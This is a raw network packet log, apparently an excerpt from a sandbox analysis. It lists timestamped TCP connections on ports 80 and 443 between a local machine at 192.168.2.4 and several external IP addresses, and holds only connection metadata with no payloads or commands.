May 24, 2024 13:42:04.174221992 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.176759005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.176793098 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.176816940 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.176840067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.178540945 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.178575993 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.178603888 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.178637981 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.178668976 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.180723906 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.180757999 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.180777073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.180805922 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.182777882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.182812929 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.182832003 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.182857990 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.184618950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.184654951 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.184674978 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.184689045 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.184700012 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.184758902 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.186471939 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.186523914 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.186530113 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.186568975 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.188369036 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.188404083 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.188422918 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.188436985 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.188445091 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.188540936 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.190196037 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.190229893 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.190248013 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.190275908 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.191822052 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.191855907 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.191883087 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.191967010 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.193423033 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.193455935 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.193512917 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.193512917 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.197314024 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.197350025 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.197379112 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.197381020 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.197403908 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.197412014 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.197436094 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.197447062 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.197460890 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.197491884 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.198411942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.198445082 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.198465109 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.198489904 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.198478937 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.198605061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.200077057 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.200113058 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.200139999 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.200146914 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.200158119 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.200191021 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.201371908 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.201406002 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.201420069 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.201773882 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.202816010 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.202848911 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.202867985 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.202907085 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.204379082 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.204412937 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.204441071 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.204441071 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.204459906 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.204489946 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.205818892 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.205852985 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.205883026 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.205883026 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.205923080 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.205944061 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.207206964 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.207242966 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.207259893 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.207290888 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.208220005 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.208254099 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.208273888 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.208287954 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.208297014 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.208368063 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.210671902 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.210705042 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.210735083 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.210752010 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.210752010 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.210802078 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.212395906 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.212429047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.212452888 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.212462902 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.212474108 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.212497950 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.212516069 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.212542057 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.213385105 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.213418961 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.213447094 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.213469028 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.214589119 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.214622021 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.214651108 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.214657068 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.214684963 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.214689970 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.214711905 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.214735985 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.215759039 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.215790987 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.215822935 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.215853930 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.216900110 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.216933966 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.216953993 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.216964006 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.216975927 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.217005968 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.219898939 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.219959974 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.221637964 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.221671104 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.221698046 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.221728086 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.229213953 CEST	80	49747	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.229247093 CEST	80	49747	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.229270935 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.229310989 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.229513884 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.229547024 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.229547024 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.229577065 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.229608059 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.229932070 CEST	49754	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.235758066 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.235824108 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.240772963 CEST	80	49747	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.243942022 CEST	80	49754	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.243972063 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.244019985 CEST	49754	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.244052887 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.244136095 CEST	49754	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.244649887 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.244698048 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.244770050 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.245004892 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.245026112 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.245559931 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.245592117 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.245826006 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.247978926 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.248064041 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.250051975 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.250082970 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.250123978 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.250154018 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.250339031 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.250436068 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.250839949 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.250874043 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.250905037 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.250935078 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.251338005 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.251804113 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.251837015 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.251858950 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.251885891 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.251887083 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.257642031 CEST	80	49754	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.257714987 CEST	49754	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.258019924 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.258088112 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.258232117 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.258294106 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.258722067 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.258780003 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.262868881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.262902975 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.262933969 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.262959003 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.268421888 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.268502951 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.268824100 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.268874884 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.269392967 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.269447088 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.270021915 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.270082951 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.270658016 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.270724058 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.271277905 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.271308899 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.271341085 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.271368980 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.272636890 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.272670031 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.272705078 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.272737026 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.277595997 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.277664900 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.278017998 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.278069019 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.278522968 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.278585911 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.279148102 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.279182911 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.279203892 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.279251099 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.279817104 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.279875040 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.280438900 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.280503035 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.283761978 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.283809900 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.284101963 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.284157991 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.284702063 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.284753084 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.284921885 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.284954071 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.284969091 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.285001040 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.285900116 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.285948992 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.286422968 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.286457062 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.286472082 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.286516905 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.287497997 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.287532091 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.287549973 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.287575960 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.288409948 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.288460016 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.288909912 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.288943052 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.288973093 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.289087057 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.289087057 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.289087057 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.289937019 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.289969921 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.290000916 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.290004969 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.290015936 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.290054083 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.290918112 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.290951014 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.290986061 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.290987015 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.291912079 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.291945934 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.291997910 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.292929888 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.292963982 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.293031931 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.295038939 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.295073986 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.295114040 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.295135975 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.295150042 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.295161009 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.295197964 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.296433926 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.296468019 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.296493053 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.296514034 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.297705889 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.297739029 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.297796011 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.298937082 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.298970938 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.299029112 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.299825907 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.299860001 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.299877882 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.299892902 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.299915075 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.299956083 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.300760984 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.300795078 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.300827026 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.300828934 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.300854921 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.300875902 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.301744938 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.301784992 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.301842928 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.302551031 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.302583933 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.302607059 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.302628994 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.303533077 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.303560972 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.303567886 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.303617954 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.304364920 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.304382086 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.304395914 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.304423094 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.304441929 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.304451942 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.305248022 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.305264950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.305311918 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.306127071 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.306142092 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.306157112 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.306174994 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.306227922 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.306230068 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.307077885 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.307096004 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.307109118 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.307156086 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.307179928 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.307188988 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.307976007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.307992935 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.308049917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.308883905 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.308900118 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.308927059 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.308949947 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.309792042 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.309808969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.309823036 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.309863091 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.309901953 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.310669899 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.310687065 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.310746908 CEST	49738	80	192.168.2.4	185.172.128.159
